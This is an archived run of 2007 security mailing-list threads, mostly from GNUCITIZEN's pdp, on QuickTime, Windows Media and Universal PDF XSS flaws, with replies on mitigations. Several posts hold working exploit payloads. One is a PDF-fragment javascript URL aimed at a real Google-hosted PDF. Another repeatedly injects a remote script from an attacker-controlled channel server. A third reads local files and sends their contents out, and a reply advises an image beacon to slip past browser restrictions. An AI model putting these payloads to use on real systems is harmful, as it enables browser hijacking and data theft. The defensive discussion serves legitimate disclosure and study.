http://www.gnucitizen.org/blog/myspace-quicktime-worm-follow-up MySpace was hit by a worm in a semi-automatic manner. This time the worm propagated via a QuickTime flaw found a couple of months ago. This shouldn't be a surprise to anyone. It is quite serious that this attack vector was picked up by Apple so late. In this post I am not going to explain how this particular MySpace hack works but rather to send a reminder to the security community that another <http://www.gnucitizen.org/blog/backdooring-mp3-files> QuickTime XSS vector was found right after the first one. This vector can be used in a similar way although, IMHO, the impact is greater. I guess Apple should fix both issues NOW: we don't want MySpace worms spreading around again, although this is very utopic to say. Here is a brief reminder of what the XSS issue was all about. The problems is caused by a quite useful feature called QuickTime Media Link (.qtl). The whole point of these QuickTime Media Link files is to provide means of playing media files in a more accessible way. In this respect the developer can create a .qtl file which holds information about the media content that needs to be played plus recommended dimensions, accessibility features, control features etc... .qtl files can contain malicious JavaScript code that can takeover some important network device when executed for example. That's not the end of the story though. Because of its flexibility QuickTime doesn't mind if Media Link (.qtl) files end with .mp3, .mp4, .m4a or even .mov extension... This is a quite big problem especially in default configurations of iTunes. The iTunes installation wizard installs the QuickTime player and QuickTime browser plugins and associates various media files with its components. If you open an mp3 file from the desktop it will be played in iTunes player by default, however if you open it from some website it will be played in the QuickTime player browser plugin. In this respect, users who are previewing mp3 and other media files from the Internet are vulnerable. GNUCITIZEN >> Backdooring MP3 Files To sum up, and put into context, attackers can use QuickTime Media Links to imitate popular media files and as such trick the user into opening malicious content that could lead to their (MySpace) account or their browser being compromised. Lets look at the following hypothetical situation: "Evil Hacker decides to overtake MySpace in order to DoS google.com. He finds that MySpace allows users to supply links in their posts and comments. He spends some time to research the 1000 most popular MySpace members where he will post links to media files titled orgy.mov or myconfession.mp3 or even prankster.avi. Once an unaware user clicks on the link, a phishing page is presented asking the current user to enter their MySpace details to see the private content. If the user is tricked, their credentials will be on their way to the specifically designed for that operation collection point where another automatic process overtakes their user account installing the same malicious file or simply hijack other media files by wrapping them up in QuickTime Media Links the same way it is described in the article mentioned above. The process repeats when another users falls into the trap. When enough number of accounts are compromised Evil Hacker will launch his/her DDoS against Google's AdSense server farm." Before seeing more worms of this kind I suggest that we gather our intellectual power to find a fix or at least a workaround. I welcome you to join me at GNUCITIZEN's MySpace Worms Topic <http://www.gnucitizen.org/topics/myspace-worms> for further discussion. I can assure you that GNUCITIZEN neither me has anything to do with MySpace or any other related organization. The purpose of this symposium is learn more about these types of worms and help other online applications and communities protect themselves. This is much better than just sitting in our comfy chairs and laughing at people's mistakes. Many thanks. -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Universal XSS with PDF files: highly dangerous
I will be very quick and just point to links where you can read about
this issue.
It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:
http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.
This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.
There is a POC I composed:
http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20createXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null);
More on the matter can be found here:
http://www.gnucitizen.org/blog/danger-danger-danger/
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
no worries, the vulnerability details presented on my blog post were updated. good work. On 1/3/07, [EMAIL PROTECTED] <[EMAIL PROTECTED]> wrote: Quoting "pdp (architect)" <[EMAIL PROTECTED]>: > This finding was originally mentioned by Sven Vetsch, on his blog. > This is a very good and quite interesting. Good work. Sorry about that but that's wrong. All the credits have to go to Stefano Di Paola and Giorgio Fedon. They presented that stuff at the 23C3 in Berlin. The only thing that I did was an overview and I found out, that it doesn't matter how the parameter is called. I "just" forgot to copy paste the credits from my original document, to the blog entry. I'm very sorry about that and of course I putted it in my entry now. Regards, Disenchant / Sven Vetsch -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
The impact of this issue is huge. Web worms can use Jeremiah's css history dump and login detection hacks together with the Google AJAX Search API hack in order to create a massive WEB infection. In fact, such type of malicious code can be trivially composed in half an hour. This is a vary scary thought. REFS: http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html http://jeremiahgrossman.blogspot.com/2006/12/i-know-if-youre-logged-in-anywhere.html http://www.gnucitizen.org/blog/google-search-api-worms http://www.gnucitizen.org/projects/attackapi On 1/3/07, James Landis <[EMAIL PROTECTED]> wrote: Why bother with the token handling? If the request URI is a PDF and it is a POST or contains URL parameters, just 30x to the naked PDF. Otherwise it's safe to serve. -j On 1/3/07, Amit Klein <[EMAIL PROTECTED]> wrote: > Amit Klein wrote: > > pdp (architect) wrote: > >> I will be very quick and just point to links where you can read about > >> this issue. > >> > >> It seams that PDF documents can execute JavaScript code for no > >> apparent reason by using the following template: > >> > >> > >> http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here > >> > >> > >> You must understand that the attacker doesn't need to have write > >> access to the specified PDF document. In order to get an XSS vector > >> working you need to have a PDF file hosted on the target and that's > >> all about it. The rest is just a matter of your abilities and desires. > >> > > Amazing, and kudos to Sven Vetsch who found this. > > > Oops, seems that the credit went to the wrong guy. Actual credit go to > Stefano Di Paola, with contributions from Giorgio Fedon (IE Dos, UXSS > Analysis) and Elia Florio (Poc and Code Execution analysis). > > BTW, one way to mitigate this is for the server, upon receiving a > request to file.pdf (without a valid query+cookie pair, see below), to > redirect it to file.pdf?token_query=X (where X is an unpredictable, high > entropy string) accompanied with a Set-Cookie header for a cookie named > say "token_cookie" with value X and short expiration period ( e.g. 10 > seconds). The browser will then respond with a request to > file.pdf?token_query=X with Cookie token_cookie=X. At this point, if the > server receives token_query==token_cookie, the server knows this is a > legit request (i.e. without fragment), and it can safely serve the PDF > resource. > > I suppose this can be implemented easily as an Apache module/ISAPI/NSAPI > filters. > > -Amit > > -------- > The Web Security Mailing List: > http://www.webappsec.org/lists/websecurity/ > > The Web Security Mailing List Archives: > http://www.webappsec.org/lists/websecurity/archive/ > http://www.webappsec.org/rss/websecurity.rss [RSS Feed] > > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Amit, this is very interesting solution and it will probably work in most cases. However, if the attacker is able to upload PDF documents, he/she can craft one that will produce the desired result as soon as it gets opend by the user. This can be achieved by setting the PDF file to redirect. David K. from michaeldawe.org had a POC somewhere. This attack vector is limited due to the fact that the attacker needs to upload malicious PDF files, but it is still very dangerous. Think about email attachments. I haven't tested this idea myself, though. On 1/3/07, Amit Klein <[EMAIL PROTECTED]> wrote: Amit Klein wrote: > pdp (architect) wrote: >> I will be very quick and just point to links where you can read about >> this issue. >> >> It seams that PDF documents can execute JavaScript code for no >> apparent reason by using the following template: >> >> >> http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here >> >> >> You must understand that the attacker doesn't need to have write >> access to the specified PDF document. In order to get an XSS vector >> working you need to have a PDF file hosted on the target and that's >> all about it. The rest is just a matter of your abilities and desires. >> > Amazing, and kudos to Sven Vetsch who found this. > Oops, seems that the credit went to the wrong guy. Actual credit go to Stefano Di Paola, with contributions from Giorgio Fedon (IE Dos, UXSS Analysis) and Elia Florio (Poc and Code Execution analysis). BTW, one way to mitigate this is for the server, upon receiving a request to file.pdf (without a valid query+cookie pair, see below), to redirect it to file.pdf?token_query=X (where X is an unpredictable, high entropy string) accompanied with a Set-Cookie header for a cookie named say "token_cookie" with value X and short expiration period (e.g. 10 seconds). The browser will then respond with a request to file.pdf?token_query=X with Cookie token_cookie=X. At this point, if the server receives token_query==token_cookie, the server knows this is a legit request (i.e. without fragment), and it can safely serve the PDF resource. I suppose this can be implemented easily as an Apache module/ISAPI/NSAPI filters. -Amit The Web Security Mailing List: http://www.webappsec.org/lists/websecurity/ The Web Security Mailing List Archives: http://www.webappsec.org/lists/websecurity/archive/ http://www.webappsec.org/rss/websecurity.rss [RSS Feed] -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
The following POC dynamically backdoors a given PDF document with an
attack channel:
http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:setInterval(function
() {var s = document.createElement('script');s.src =
'http://www.gnucitizen.org/carnaval/channel';s.defer = true;s.type =
'text/javascript';document.body.appendChild(s);}, 2000);void(0);
For the purpose of this POC I use carnaval. All hoocked clients can be
previewed by using carnaval's backframe profile:
http://www.gnucitizen.org/carnaval
click on backframe, or directly access the following URL:
http://www.gnucitizen.org/backframe/application.htm?Y2hhbm5lbCgnY2FybmF2YWwnLCAnaHR0cDovL3d3dy5nbnVjaXRpemVuLm9yZy9jYXJuYXZhbC9jaGFubmVsJyk7CnBvcHVsYXRlX2NoYW5uZWxzKCk7
On 1/3/07, Amit Klein <[EMAIL PROTECTED]> wrote:
pdp (architect) wrote:
> Amit, this is very interesting solution and it will probably work in
> most cases. However, if the attacker is able to upload PDF documents,
> he/she can craft one that will produce the desired result as soon as
> it gets opend by the user. This can be achieved by setting the PDF
> file to redirect.
I agree. I was thinking about a solution to the fragment problem, which
is the topic of the thread (and a much more widespread situation than
PDF upload).
-Amit
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
ahhh, fragment identifiers make sense to browsers only. they are not send to the server On 1/4/07, der wert <[EMAIL PROTECTED]> wrote: The best solution I see would be to keep all pdf files in a non-web accessible location on the web server, then have all the pdf files outputed through a script such as a php script. In php you can check the what the REQUEST_URI is, if it isn't equal to what you were expecting which would mean extra parameters were taken away or added then you could just have the php script not output the pdf file since that would mean someone had been tampering with the URI. D Get free, personalized online radio with MSN Radio powered by Pandora. Try it! -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Universal PDF XSS After Party
Everybody knows about it. Everybody talks about it. We had a nice party. It is time for estimating the damages. In this article I will try to show the impact of the Universal PDF XSS vulnerability by explaining how it can be used in real life situations. http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/ -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] Universal XSS with PDF files: highly dangerous
I just skimmed through your code very quickly and I noticed a single
problem. Don't send the captured data with another XHR (xhr2). Use
images.
var img = new Image()
img.src = url;
this should work.
On 1/4/07, T Biehn <[EMAIL PROTECTED]> wrote:
I'm trying to put together a demonstration of this vulnerability, and how it
could effect corporate security, however I'm encountering a large hangup
when sending a file 'back' to the webserver, the browser same origin policy
denies me the ability to send files to a different domain, which afaik is
necessary for an external attacker to properly exploit this vulnerability:
Here's the code I have so far, based more or less on PDP's
Vanilla, almost' PDP's (different url, spaces removed etc.)
file:///C:/Program Files/Adobe/Acrobat
6.0/Resource/ENUtxt.pdf#something=javascript:function
cXHR(){try{return new ActiveXObject('Msxml2.XMLHTTP');}catch(e){}try{return
new ActiveXObject('Microsoft.XMLHTTP');}catch(e){}try{return new
XMLHttpRequest();}catch(e){} return null;}var xhr =
cXHR();xhr.onreadystatechange = function(){if ( xhr.readyState ==
4)alert(xhr.responseText);};xhr.open('GET', 'file:///C:/Program
Files/Adobe/Acrobat 6.0/ReadMe.htm', true);xhr.send(null);
What I'm trying to do:
file:///C:/Program Files/Adobe/Acrobat
6.0/Resource/ENUtxt.pdf#something=javascript:function
cXHR(){try{return new ActiveXObject('Msxml2.XMLHTTP');}catch(e){}try{return
new ActiveXObject(' Microsoft.XMLHTTP');}catch(e){}try{return new
XMLHttpRequest();}catch(e){} return null;}var xhr = cXHR();var xhr2 =
cXHR();xhr.onreadystatechange = function(){if (xhr.readyState ==
4){alert(xhr.responseText);xhr2.open('GET', '
http://localhost:80/whatever.htm?content=' +
xhr.responseText);xhr2.onreadystatechage = function(){alert('File
Transferred!');};xhr2.send(null);}};xhr.open('GET', '
file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm',
true);xhr.send(null);
Now, one would think that the LOCAL file operating mode of IE would allow
the cross domain XHR request, however this does not work (tested IE 6) I
think because by default IE disallows Javascript access on the local
context.
Try putting this is IE:
file:///C:/Program%20Files/Adobe/Acrobat%206.0/Resource/ENUtxt.pdf#something=javascript:alert('lol')
;
and then try it in FireFox
It won't work in IE 6, but it executes just fine in FireFox.
function cXHR(){ //Grabs a legit XHR.
try{
return new ActiveXObject('Msxml2.XMLHTTP');
}catch(e){}
try{
return new ActiveXObject('Microsoft.XMLHTTP');
}catch(e){}
try{
return new XMLHttpRequest();
}catch(e){}
return null;
}
var xhr = cXHR(); //For grabbing
var xhr2 = cXHR(); //For sending
xhr.onreadystatechange = function(){
if (xhr.readyState == 4){
alert(xhr.responseText);
xhr2.open('GET', '
http://localhost:80/whatever.htm?content=' +
xhr.responseText); //Send it up, yo.
xhr2.onreadystatechage = function(){
alert('File Transferred!');
};
xhr2.send (null);
}
};
xhr.open('GET', 'file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm',
true);
xhr.send(null);
Anyone's input on this matter would be appreciated.
On 1/4/07, Juha-Matti Laurio <[EMAIL PROTECTED]> wrote:
>
> Additionally, the public PoC doesn't work on Preview version 3.0.8 (409)
on OS X 10.4.8.
>
> - Juha-Matti
>
> Larry Seltzer <[EMAIL PROTECTED]> wrote:
> > >>"According to public reports, this vulnerability is addressed in Adobe
> > Acrobat Reader 8.0."
> >
> > I've actually tested it. On Reader 8 Acrobat you get a messagebox that
> > says "This operation is not allowed"
> >
> > Larry Seltzer
> > eWEEK.com Security Center Editor
> > http://security.eweek.com/
> > http://blog.eweek.com/blogs/larry%5Fseltzer/
> > Contributing Editor, PC Magazine
> > [EMAIL PROTECTED]
>
> ___
> Full-Disclosure - We believe in it.
> Charter:
http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
also, you can use TinyURL to hide entire attack vectors. For example,
the following link contains a harmless exploit (alert message box) for
Google:
http://tinyurl.com/t8h4q
more about this issue here:
http://www.gnucitizen.org/blog/universal-pdf-xss-after-party/
On 1/4/07, Billy Hoffman <[EMAIL PROTECTED]> wrote:
I think I get what Skarvin is saying. Hopeful we all know that fragments are
not sent with the request, so you cannot stop yourself from serving a PDF
that's about to execute JS code in a fragment. However, social sites and
forum sites can scan their site to see if any user supplied links point to a
PDF with a malicious looking fragment. At the very least they can make sure
they are not being an accomplice to an attack. Of course, some people server
PDF's through file portals (file.php?file=foo.pdf) or use other things that
makes it hard to see if a hyperlink serves a PDF or not.
Billy Hoffman
--
Lead Researcher, SPI Labs
SPI Dynamics Inc. – http://www.spidynamics.com
Phone: 678-781-4800
Direct: 678-781-4845
From: Ory Segal [mailto:[EMAIL PROTECTED]
Sent: Thursday, January 04, 2007 3:40 PM
To: skarvin
Cc: bugtraq@securityfocus.com; [EMAIL PROTECTED]
Subject: RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Hi Skarvin,
When you click on a link that contains a fragment in it, the browser does
not send that part (everything after the # symbol - including the symbol
itself), to the server. For example:
http://www.some.site/page.html#abc , when clicked, will
send the following request:
GET /page.html HTTP/1.0
Host: www.some.site
...
So any server side filtering of '#' won't work.
-Ory Segal
www.watchfire.com
From: skarvin [mailto:[EMAIL PROTECTED]
Sent: Thursday, January 04, 2007 10:07 PM
To: Billy Hoffman
Cc: bugtraq@securityfocus.com; [EMAIL PROTECTED]
Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Hello Billy,
If I write a rule that filters all url with this character --> # in it's
content I think that the problem is solved, but is my opinion.
Best regards.
2007/1/4, Billy Hoffman <[EMAIL PROTECTED]>:
You cannot filter this URLs, because a URL fragment denotes something inside
of a resource. The server doesn't care what the fragment it. The HTTP
request sent when you click on a URL with a fragment doesn't contain the
fragment at all. This means a site cannot even implement a web application
firewall or IDS rule to not serve a PDF. They can't tell the different
between a PDF requested for legitimate reasons or a PDF requested as part of
an attack.
Short of removing all PDF's from a website, that site cannot ensure they are
acting as an accomplice to exploit a user.
Fun times,
Billy Hoffman
--
Lead Researcher, SPI Labs
SPI Dynamics Inc. – http://www.spidynamics.com
Phone: 678-781-4800
Direct: 678-781-4845
From: skarvin [mailto:[EMAIL PROTECTED]
Sent: Thursday, January 04, 2007 4:04 AM
To: bugtraq@securityfocus.com; [EMAIL PROTECTED]
Subject: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
Hi all,
Another possible solution is to use the Apache mod_security to filter that
kind of urls.
bye
2007/1/4, pdp (architect) < [EMAIL PROTECTED]>:
ahhh, fragment identifiers make sense to browsers only. they are not
send to the server
On 1/4/07, der wert <[EMAIL PROTECTED]> wrote:
>
> The best solution I see would be to keep all pdf files in a non-web
> accessible location on the web server, then have all the pdf files
outputed
> through a script such as a php script. In php you can check the what the
> REQUEST_URI is, if it isn't equal to what you were expecting which would
> mean extra parameters were taken away or added then you could just have
the
> php script not output the pdf file since that would mean someone had been
> tampering with the URI.
>
> D
>
> ____________
> Get free, personalized online radio with MSN Radio powered by Pandora.
Try
> it!
--
pdp (architect) | petko d. petkov
http://www.gnucitizen.org
The Web Security Mailing List:
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives:
http://www.webappsec.org/lists/websecurity/archive/
http://www.webappsec.org/rss/websecurity.rss [RSS Feed]
--
Un saludo,
This message was written entirely with recycled electrons.
blog: http://skarvin.blogspot.com
main(){int j=1234;char
t[]=":@abcdefghijklmnopqrstuvwxyz.\n",*i=
"iqgbgxmsuspcpdofeqgbnek.";char *strchr(const char *,int);while(
*i){j+=strchr(t,*i++)-t;j%=sizeof t-1;putchar(t[j]);}
return 0;}
skarvi
0DAY: QuickTime pwns Firefox
http://www.gnucitizen.org/blog/0day-quicktime-pwns-firefox It seams that QuickTime media formats can hack into Firefox. The result of this vulnerability can lead to full compromise of the browser and maybe even the underlaying operating system. Don't try this at home. In practice I can do anything with the browser, like installing browser backdoors, and the operating system if the victim is running with administrative privileges. However, just for the sake of this demonstration, I simply open calc.exe. Keep in mind that the exploit is cross-platformed. Check the link above for demonstration and more information how the exploit works. -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
IE (Internet Explorer) pwns SecondLife
http://www.gnucitizen.org/blog/ie-pwns-secondlife E (Internet Explorer) pwns SecondLife. Before going into details why and how it happens, I would like to bring your attention on SecondLife for a moment. For those of you who don't follow cutting edge technologies, SecondLife is a massive virtual world located on a couple of hundred workstations on-line. The cool thing about SecondLife is that you can do all kinds of things like expressing your artistic side, communicating and of course making business. There are a lot of money into SecondLife. Not that long time ago, there was this girl who made $100 (a million) out of the on-line world. This means that today crooks are after your virtual persona rather then your physical self. Therefore, security in virtual worlds is almost as important as security in the physical world. Now let's get back to the real issue. Attackers can steal the victim's login credentials, therefore hijacking their virtual persona, by simply tricking them into visiting a malicious Web page. It is automatic and the user doesn't have to do anything (no user interaction is required). I would rate this issue as Medium risk although if the victim have a lot of Linden dollars ($L) then the situation becomes quite critical. At the time of writing 1$ can be exchanged for 268.15$L. So, let's stop thinking only one dimension for a moment. Compromising the integrity of the browser or the operating system is cool but is it really worthed? Attackers are after your money not your pictures or school essays. Think about this for a second. cheers -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
security notice: Backdooring Windows Media Files
http://www.gnucitizen.org/blog/backdooring-windows-media-files It is very easy to put some HTML inside files supported by Window Media Player. The interesting thing is that these HTML pages run in less restrictive IE environment. I found that a fully patched windows XP SP2 with IE6 or IE7 and Windows Media Player 9 (default) will open any page of your choice in IE even if your default browser is Firefox, Opera or anything else you have in place. It means that even if you are running Firefox and you think that you are secure, by simply opening a media file, you expose yourself to all IE vulnerabilities there might be. Plus, attackers can perform very very interesting phishing attacks. I prepared a simple POC which spawns a browser window in full screen mode... Think about how easy it is going to be to fake the windows logout - login sequence and phish unaware users' credentials http://www.gnucitizen.org/projects/backdooring-windows-media-files/poc02.asx On the other hand Media Player 11 (Vista by default) is not exposed to these attacks. -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: security notice: Backdooring Windows Media Files
yes, of course :) but u are running Windows Media Player 11 which is not the default one for Windows XP SP2. Moreover, this Media Player edition is not slipped through any software update either. Therefore, if you are not a Media Player fan, you will never get this version on a fully patched XP SP2 machine. I tend to use iTunes on XP SP2, so yes I am vulnerable. On 9/18/07, Memisyazici, Aras <[EMAIL PROTECTED]> wrote: > Hi pdp! > > Great admirer of your work :) I just wanted to inform you that I have > tested your claim, on a fully patched/updated Win XP SP2 system with an > admin account logged in, and was warned sufficiently(asked whether I > wanted to play asx files, then asked if I was sure by Media Player, then > pop-up was blocked by IE), while the page you tried to produce was > blocked via IE's pop-up blocker. > > You can see/confirm this by viewing these screenshots: > > http://preview.tinyurl.com/34xpcz > (http://i189.photobucket.com/albums/z159/vtknightmare/noworkie1.png ) > > and > > http://preview.tinyurl.com/34jx5v > (http://i189.photobucket.com/albums/z159/vtknightmare/noworkie2.png ) > > This was tested on a plain/manila/vanilla version of XP SP2. All I did > was update/upgrade to latest available from M$ Update. > > Sincerely, > Aras Memisyazici > IT/Security/Dev. Specialist > > Outreach Information Services > Virginia Tech > > -Original Message- > From: pdp (architect) [mailto:[EMAIL PROTECTED] > Sent: Tuesday, September 18, 2007 11:58 AM > To: bugtraq@securityfocus.com; [EMAIL PROTECTED] > Subject: security notice: Backdooring Windows Media Files > > http://www.gnucitizen.org/blog/backdooring-windows-media-files > > It is very easy to put some HTML inside files supported by Window > Media Player. The interesting thing is that these HTML pages run in > less restrictive IE environment. I found that a fully patched windows > XP SP2 with IE6 or IE7 and Windows Media Player 9 (default) will open > any page of your choice in IE even if your default browser is Firefox, > Opera or anything else you have in place. It means that even if you > are running Firefox and you think that you are secure, by simply > opening a media file, you expose yourself to all IE vulnerabilities > there might be. Plus, attackers can perform very very interesting > phishing attacks. I prepared a simple POC which spawns a browser > window in full screen mode... Think about how easy it is going to be > to fake the windows logout - login sequence and phish unaware users' > credentials > > http://www.gnucitizen.org/projects/backdooring-windows-media-files/poc02 > .asx > > On the other hand Media Player 11 (Vista by default) is not exposed to > these attacks. > > -- > pdp (architect) | petko d. petkov > http://www.gnucitizen.org > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
0day: PDF pwns Windows
http://www.gnucitizen.org/blog/0day-pdf-pwns-windows I am closing the season with the following HIGH Risk vulnerability: Adobe Acrobat/Reader PDF documents can be used to compromise your Windows box. Completely!!! Invisibly and unwillingly!!! All it takes is to open a PDF document or stumble across a page which embeds one. The issue is quite critical given the fact that PDF documents are in the core of today's modern business. This and the fact that it may take a while for Adobe to fix their closed source product, are the reasons why I am not going to publish any POCs. You have to take my word for it. The POCs will be released when an update is available. Adobe's representatives can contact me from the usual place. My advise for you is not to open any PDF files (locally or remotely). Other PDF viewers might be vulnerable too. The issues was verified on Windows XP SP2 with the latest Adobe Reader 8.1, although previous versions and other setups are also affected. A formal summary and conclusion of the GNUCITIZEN bug hunt to be expected soon. cheers -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: 0day: PDF pwns Windows
> My upcoming research feature everything regarding this and the issue you > have > already discussed. really :).. which one... the one from last year? On 9/20/07, Aditya K Sood <[EMAIL PROTECTED]> wrote: > pdp (architect) wrote: > > http://www.gnucitizen.org/blog/0day-pdf-pwns-windows > > > > I am closing the season with the following HIGH Risk vulnerability: > > Adobe Acrobat/Reader PDF documents can be used to compromise your > > Windows box. Completely!!! Invisibly and unwillingly!!! All it takes > > is to open a PDF document or stumble across a page which embeds one. > > > > The issue is quite critical given the fact that PDF documents are in > > the core of today's modern business. This and the fact that it may > > take a while for Adobe to fix their closed source product, are the > > reasons why I am not going to publish any POCs. You have to take my > > word for it. The POCs will be released when an update is available. > > > > Adobe's representatives can contact me from the usual place. My advise > > for you is not to open any PDF files (locally or remotely). Other PDF > > viewers might be vulnerable too. The issues was verified on Windows XP > > SP2 with the latest Adobe Reader 8.1, although previous versions and > > other setups are also affected. > > > > A formal summary and conclusion of the GNUCITIZEN bug hunt to be expected > > soon. > > > > cheers > > > > > Hi > > Your point is right. But there are a number of factors other > than this > in exploiting pdf in other sense. My latest research is working over the > exploitation of PDF. > > Even if you look at the core then there are no restriction on READ in PDF > in most of the versions. Only outbound data is filtered to some extent. you > can even read /etc/passwd file from inside of PDF. > > Other infection vector includes infection through Local Area Networks > through > sharing and printing PDF docs and all. > > My upcoming research feature everything regarding this and the issue you > have > already discussed. > > Regards > Aks > http://ww.secniche.org > > > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: [Full-disclosure] 0day: PDF pwns Windows
back online - too many users .. On 9/21/07, Rohit Srivastwa <[EMAIL PROTECTED]> wrote: > And your website is down at this moment > > http://www.gnucitizen.org/ 403 > http://www.gnucitizen.org/blog/ 403 > http://www.gnucitizen.org/blog/0day-pdf-pwns-windows 404 > > Is it a reverse attack by someone hurt :) > > --Through the Firewall,Out the Router,Down the T1,Across the Backbone,Bounced > from Satellite Nothing but the Internet > > - Original Message > From: pdp (architect) <[EMAIL PROTECTED]> > To: bugtraq@securityfocus.com; [EMAIL PROTECTED] > Sent: Thursday, September 20, 2007 6:51:33 PM > Subject: [Full-disclosure] 0day: PDF pwns Windows > > http://www.gnucitizen.org/blog/0day-pdf-pwns-windows > > I am closing the season with the following HIGH Risk vulnerability: > Adobe Acrobat/Reader PDF documents can be used to compromise your > Windows box. Completely!!! Invisibly and unwillingly!!! All it takes > is to open a PDF document or stumble across a page which embeds one. > > The issue is quite critical given the fact that PDF documents are in > the core of today's modern business. This and the fact that it may > take a while for Adobe to fix their closed source product, are the > reasons why I am not going to publish any POCs. You have to take my > word for it. The POCs will be released when an update is available. > > Adobe's representatives can contact me from the usual place. My advise > for you is not to open any PDF files (locally or remotely). Other PDF > viewers might be vulnerable too. The issues was verified on Windows XP > SP2 with the latest Adobe Reader 8.1, although previous versions and > other setups are also affected. > > A formal summary and conclusion of the GNUCITIZEN bug hunt to be expected > soon. > > cheers > > -- > pdp (architect) | petko d. petkov > http://www.gnucitizen.org > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > > ________ > Building a website is a piece of cake. Yahoo! Small Business gives you all > the tools to get online. > http://smallbusiness.yahoo.com/webhosting > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Re: 0day: PDF pwns Windows
None of them are related to this vulnerability. As far as I know, the issue is brand new. On 9/21/07, Antivirus Taneja <[EMAIL PROTECTED]> wrote: > Hi, > > Too interesting and dangerousLast couple of months there were PDF > spamming (Stocks Information) all over the internet..I analyzed those PDF i > didn't find any such thingDid you checked them? Are they related to any > vulnerability? > > Regards, > Taneja Vikas > http://annysoft.wordpress.com > > > > On 9/20/07, pdp (architect) <[EMAIL PROTECTED]> wrote: > > > My upcoming research feature everything regarding this and the issue you > > > have > > > already discussed. > > > > really :).. which one... the one from last year? > > > > On 9/20/07, Aditya K Sood <[EMAIL PROTECTED]> wrote: > > > pdp (architect) wrote: > > > > http://www.gnucitizen.org/blog/0day-pdf-pwns-windows > > > > > > > > I am closing the season with the following HIGH Risk vulnerability: > > > > Adobe Acrobat/Reader PDF documents can be used to compromise your > > > > Windows box. Completely!!! Invisibly and unwillingly!!! All it takes > > > > is to open a PDF document or stumble across a page which embeds one. > > > > > > > > The issue is quite critical given the fact that PDF documents are in > > > > the core of today's modern business. This and the fact that it may > > > > take a while for Adobe to fix their closed source product, are the > > > > reasons why I am not going to publish any POCs. You have to take my > > > > word for it. The POCs will be released when an update is available. > > > > > > > > Adobe's representatives can contact me from the usual place. My advise > > > > for you is not to open any PDF files (locally or remotely). Other PDF > > > > viewers might be vulnerable too. The issues was verified on Windows XP > > > > SP2 with the latest Adobe Reader 8.1, although previous versions and > > > > other setups are also affected. > > > > > > > > A formal summary and conclusion of the GNUCITIZEN bug hunt to be > expected soon. > > > > > > > > cheers > > > > > > > > > > > Hi > > > > > > Your point is right. But there are a number of factors other > > > than this > > > in exploiting pdf in other sense. My latest research is working over > the > > > exploitation of PDF. > > > > > > Even if you look at the core then there are no restriction on READ in > PDF > > > in most of the versions. Only outbound data is filtered to some extent. > you > > > can even read /etc/passwd file from inside of PDF. > > > > > > Other infection vector includes infection through Local Area Networks > > > through > > > sharing and printing PDF docs and all. > > > > > > My upcoming research feature everything regarding this and the issue you > > > have > > > already discussed. > > > > > > Regards > > > Aks > > > http://ww.secniche.org > > > > > > > > > > > > > > > -- > > pdp (architect) | petko d. petkov > > http://www.gnucitizen.org > > > > -- pdp (architect) | petko d. petkov http://www.gnucitizen.org
Remote Desktop Command Fixation Attacks
